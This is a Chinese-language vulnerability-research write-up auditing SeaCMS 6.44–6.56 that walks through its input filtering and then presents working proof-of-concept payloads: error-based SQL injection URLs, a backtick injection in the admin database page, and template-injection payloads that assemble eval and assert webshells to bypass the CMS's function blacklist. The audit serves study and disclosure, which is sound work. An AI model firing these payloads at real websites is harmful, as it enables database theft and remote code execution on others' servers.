这个seacms就是老版本的seacms,现在还在更新。我们在搭建这个版本的SeaCMS的时候,要用5版本的php,不能用高版本的php
前置
这里我们还是先分析一下入口文件
index.php
这里还是导入关键的处理文件,后来加载模板进行渲染
我们接下来分析一下这个include/common.php文件
这里先导入的是一个360的安全过滤,接着就是导入数据库操作函数文件
接着又导入了这个基础函数文件
这个 就是检测一下我们提交的GPC变量是否为全局或配置变量
这里过滤GPC数据
php转义之gpc
在PHP中get_magic_quotes_gpc()
函数是内置的函数,这个函数的作用就是得到php.ini
设置中magic_quotes_gpc
选项的值。
那么就先说一下magic_quotes_gpc
选项:
如果magic_quotes_gpc=On
PHP解析器就会自动为post、get、cookie
过来的数据增加转义字符“”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符(认为是php的字符)引起的污染而出现致命的错误 。插入后在数据库里显示的是转义前的原始数据,所以取出来不用转义。
在magic_quotes_gpc=On的情况下,如果输入的数据有
单引号(’)、双引号(”)、反斜线()与 NUL(NULL 字符)等字符都会被加上反斜线。这些转义是必须的,如果这个选项为off,那么我们就必须调用addslashes这个函数来为字符串增加转义。
正是因为这个选项必须为On,但是又让用户进行配置的矛盾,在PHP6中删除了这个选项,一切的编程都需要在magic_quotes_gpc=Off下进行了。在这样的环境下如果不对用户的数据进行转义,后果不仅仅是程序错误而已了。同样的会引起数据库被注入攻击的危险。所以从现在开始大家都不要再依赖这个设置为On了,以免有一天你的服务器需要更新到PHP6而导致你的程序不能正常工作。
所以这里的底层是由这个addslashes()函数实现的
接下来就是加载数据库配置文件和系统配置
这些都是一些路径
文件上传的安全策略
黑名单
总结
我们关注一下这个变量的处理,不能为全局变量或者系统变量
还过滤了XSS代码在common.func.php
最后就是文件上传的过滤,有个黑名单
我们在挖洞的时候很多都是在后台的洞,前台的功能点太少了
我们也看一下后台的入口文件
这里都是加载文件
我们先看一下这个配置文件
这里加载了和入口文件一样的配置文件
看出来这里也进行了相应的过滤
下面就是加载了检查admin的文件
检查用户登入状态,如果没有的话返回
漏洞
SQL注入
前台sql注入
在comment/api/index.php
这里有个sql语句
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
$dsql->setQuery($sql);
我们看一下可控参数
这里还是加载了common.php,这里对我们传入的参数进行检查
用addslashs()函数进行过滤
我们看到这个type和ids,没有被括号包裹
这两个参数还是可控,但是我们我们看到,这两个必须为数字型的
这个page最好还是要大于2的
接下来就是调用这个函数,我们跟进一下
这里的implode是将数组转化为字符串,然后再调用这个Readrlist
我们的$x就是这个$ids
也就是说我们要满足page>2,gid>0,rlist为数组
poc
http://127.0.0.1/seacms6.55/upload/comment/api/index.php?gid=1&page=2&rlist[]=extractvalue(1,concat_ws(0x7e,user(),database()))
后台反引号sql注入
这里我们去后台看一下,在addslashs()函数里,这里没有过滤` `
,我们可以利用这个来注入sql语句,这个反引号一般用来包裹表名
全局搜索一下这个
`[$][A-Za-z0-9_]*`
在这里admin_database.php
有这样的代码
首先加载了这个文件,对我们传入的参数进行过滤
但是没有过滤双引号
这里是我们刚刚找到的sql语句
我们看一下这个触发条件
首先我们要有这个action==bak,我们的tablearr也不能为空
这里我们选择报错注入,那么我们前面是我们已知的表名
这么多随遍选一个
poc
http://127.0.0.1/seacms6.55/upload/admin/admin_database.php?tablearr=1&action=bak&nowtable=sea_admin`%20WHERE%201=extractvalue(1,concat(0x7e,user()));%20--+
目录穿越
在这个功能点
我们试一下路径穿越
这里说只允许编辑templets目录,之后就返回去了,没有成功
我们看一下文件
这里只能../templets开头,前11个字符我们无法控制,我们可以控制后面的字符
这样我们就可以进行任意文件删除了和浏览
我们只能看一下指定后缀的文件
代码执行
这里面的逻辑以前在审模板注入的时候见过,在这个版本中存在模板注入导致任意代码执行
因为我这里下载的是6.55的版本,这里我没见过6.45的版本,跟着大佬复现的时候,他打的payload是6.45版本的
他打的版本没有任何的过滤,只要把逻辑搞清楚就可以,在6.54版本进行了过滤,在6.55版本也进行了过滤,这两个版本都有大神分析出了
绕过方法,这里我们先从最简单的来分析
6.44
这里我因为下载的是6.55版本的,所以先把那些高版本的处理进行注释掉
对于6.54版本,这里是对参数order进行过滤
$orderarr=array('id','idasc','time','timeasc','hit','hitasc','commend','commendasc','score','scoreasc');
if(!(in_array($order,$orderarr))){$order='time';}
在search.php中我们把相应的处理注释掉就可以了
对于6.55版本,是对于content进行过滤
在main.class.php文件中的parseIf(),同时这也是命令执行的函数
foreach($iar as $v){
$iarok[] = str_replace(array('unlink','opendir','mysqli_','mysql_','socket_','curl_','base64_','putenv','popen(','phpinfo','pfsockopen','proc_','preg_','_GET','_POST','_COOKIE','_REQUEST','_SESSION','eval(','file_','passthru(','exec(','system(','shell_'), '@.@', $v);
}
$iar = $iarok;
这里我们也注释一下
大多数都是这么说的,然而我兴致勃勃的试一下payload的时候发现,这个根本不行
我看了很多文章,都是这么说的,然而我试了却不行
后来我在这里下了个断点,之后发现我们的payload变了
searchtype=5&searchword=d&order=}{end if}{if:1)phpinfo();if(1}{end if}
原本是有phpinfo的现在变成了
我明明把过滤给注释掉了,为什么还变样了呢
我向上看,发现了上面也有过滤
这里面也有对order的处理,第一次看的时候没有好好的看
我们也把这里给注释掉
成功命令执行
接下来我们分析一下这个
首先我们先逆着分析
首先通过main.class.php中找到eval函数
这里我们就是先溯源一下这个参数怎么来的
就是通过最终的content传进来的,我们看一下这个函数在哪里调用,有很多地方
最终我们在search.php中找到了可以利用的调用链
在这里,我们接着看一下参数的传递
我们向上看,不难发现这个content参数是要替换我们别的参数的,这里很明显就是一个模板注入了
我们这些参数是可控的,找一个我们完全可控的参数就是oredr参数,这里进入这个模板的时候会加载cascade.html文件
$searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/cascade.html";
我们进去看一下
<a href="{searchpage:order-time-link}" {if:"{searchpage:ordername}"=="time"} class="btn btn-success" {else} class="btn btn-default" {end if} id="orderhits">最新上映</a>
<a href="{searchpage:order-hit-link}" {if:"{searchpage:ordername}"=="hit"} class="btn btn-success" {else} class="btn btn-default" {end if} id="orderaddtime">最近热播</a>
<a href="{searchpage:order-score-link}" {if:"{searchpage:ordername}"=="score"} class="btn btn-success" {else} class="btn btn-default" {end if} id="ordergold">评分最高</a>
这里会将这里面的{searchpage:ordername}替换成我们传入的oreder参数
下面就进入了我们的命令执行函数parseIf()
进行命令执行,下面详细分析一下这个函数
这里是个正则匹配,把匹配的内容放进iar数组里面
经过这个buildregx函数加上了正则的头和尾,没有什么影响,这里就是匹配表签里面的内容
首先就把符合这个结构的{if:xxx}yyy{end if}
整体放在数组的第一位就是iar[0]
然后把if标签里面的内容放在数组第二位就是iar[1]
把两个标签里面的内容放在数组第三位就是iar[3]
综合就是
iar[0] = {if:xxx}yyy{end if}
iar[1] = xxx
iar[2] = yyy
对于这个我们是个二维数组匹配第一个放在iar[0][0]里面
综合就是
iar[0][0] = {if:xxx}yyy{end if}
iar[0][1] = xxx
iar[0][2] = yyy
如果匹配到第二个就放在iar[1][0]
然后看下面的
这个strIf是再iar[1][m]中,所以我们构造的时候,要构造出一个这个{if:xxx}yyy{end if}
payload
GET http://127.0.0.1/seacms6.55/upload/search.php
POST searchtype=5&searchword=d&order=}{end if}{if:1)phpinfo();if(1}{end if}
这个payload我们分析一下
#再进行替换操作的时候,payload就变成了这样的
{if:"}
{end if}
{if:1)phpinfo();if(1}
{end if}
"=="hit"} 1 {else} 2
{end if}
#只有前两个能匹配这个结构,所以现在这个数组是这样的
iar[0][0] = {if:"}{end if}
iar[0][1] = "
iar[0][2] =
iar[0][0] = {if:1)phpinfo();if(1}{end if}
iar[0][1] = 1)phpinfo();if(1
iar[0][2] =
#最后就是拼接进行命令执行
结果
6.54
发现这个问题之后,做出的版本的调整就是把这个order这个参数进行了过滤
$orderarr=array('id','idasc','time','timeasc','hit','hitasc','commend','commendasc','score','scoreasc');
if(!(in_array($order,$orderarr))){$order='time';}
但是没有对parseIf()函数传进来的参数进行直接过滤
这里还对参数进行了XSS过滤和addslashes函数的过滤,还限制了字节数位20字节
$action = $_REQUEST['action'];
$searchword = RemoveXSS(stripslashes($searchword));
$searchword = addslashes(cn_substr($searchword,20));
$searchword = trim($searchword);
$jq = RemoveXSS(stripslashes($jq));
$jq = addslashes(cn_substr($jq,20));
$area = RemoveXSS(stripslashes($area));
$area = addslashes(cn_substr($area,20));
$year = RemoveXSS(stripslashes($year));
$year = addslashes(cn_substr($year,20));
$yuyan = RemoveXSS(stripslashes($yuyan));
$yuyan = addslashes(cn_substr($yuyan,20));
$letter = RemoveXSS(stripslashes($letter));
$letter = addslashes(cn_substr($letter,20));
$state = RemoveXSS(stripslashes($state));
$state = addslashes(cn_substr($state,20));
$ver = RemoveXSS(stripslashes($ver));
$ver = addslashes(cn_substr($ver,20));
$money = RemoveXSS(stripslashes($money));
$money = addslashes(cn_substr($money,20));
$order = RemoveXSS(stripslashes($order));
$order = addslashes(cn_substr($order,20));
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();
这是大佬构造的payload,我们可以先看这着分析一下
searchtype=5
&searchword={if{searchpage:year}
&year=:e{searchpage:area}}
&area=v{searchpage:letter}
&letter=al{searchpage:lang}
&yuyan=(join{searchpage:jq}
&jq=($_P{searchpage:ver}
&&ver=OST[9]))
&9[]=ph
&9[]=pinfo();
利用这个拼接语句进行重复拼接
我们可以利用这里进行重复的替换拼接
原本的html代码是这样
<meta name="keywords" content="{seacms:searchword},海洋CMS" />
第一次替换{seacms:searchword}后的代码为
<meta name="keywords" content="{if{searchpage:year},海洋CMS" />
之后替换的内容为
//替换year
<meta name="keywords" content="{if:e{searchpage:area}},海洋CMS" />
//替换area
<meta name="keywords" content="{if:ev{searchpage:letter}},海洋CMS" />
//替换letter
<meta name="keywords" content="{if:eval{searchpage:lang}},海洋CMS" />
//替换lang
<meta name="keywords" content="{if:eval(join{searchpage:jq}},海洋CMS" />
//替换jq
<meta name="keywords" content="{if:eval(join($_P{searchpage:ver}},海洋CMS" />
//替换ver
<meta name="keywords" content="{if:eval(join($_POST[9]))},海洋CMS" />
之后被解析出来的代码为
eval(join($_POST[9]))
这样我们就拼好了一句话木马
结果
成功执行
6.55
后来的版本更新中开发人员意识到了,这个问题是没有对$content这个参数进行过滤
后来过滤了一下
foreach($iar as $v){
$iarok[] = str_replace(array('unlink','opendir','mysqli_','mysql_','socket_','curl_','base64_','putenv','popen(','phpinfo','pfsockopen','proc_','preg_','_GET','_POST','_COOKIE','_REQUEST','_SESSION','eval(','file_','passthru(','exec(','system(','shell_'), '@.@', $v);
}
$iar = $iarok;
但是过滤的确实过于简单了
还是和之前一样,但是现在是利用这个来构造
searchtype=5&searchword={if{searchpage:year}&year=:as{searchpage:area}}&area=s{searchpage:letter}&letter=ert{searchpage:lang}&yuyan=($_SE{searchpage:jq}&jq=RVER{searchpage:ver}&&ver=[QUERY_STRING]));/*
就是这样是
分开来看
searchtype=5
&searchword={if{searchpage:year}
&year=:as{searchpage:area}}
&area=s{searchpage:letter}
&letter=ert{searchpage:lang}
&yuyan=($_SE{searchpage:jq}
&jq=RVER{searchpage:ver}
&&ver=[QUERY_STRING]));/*
和那个一样
最后构造出来的就是
if(assert($_SERVER[QUERY_STRING]));/*
执行这个东西,里面是一个超级全局变量,我们可以直接进行命令执行
6.56
该版本除了黑名单还在search.php中添加了如下一句话:
//感谢freebuf文章作者天择实习生(椒图科技天择实验室)的漏洞报告
if(strpos($searchword,'{searchpage:')) exit;
这样这个标签就不能用了
总结
学到了很多关于sql注入,或者是一些模板注入,原先不明白的现在也明白了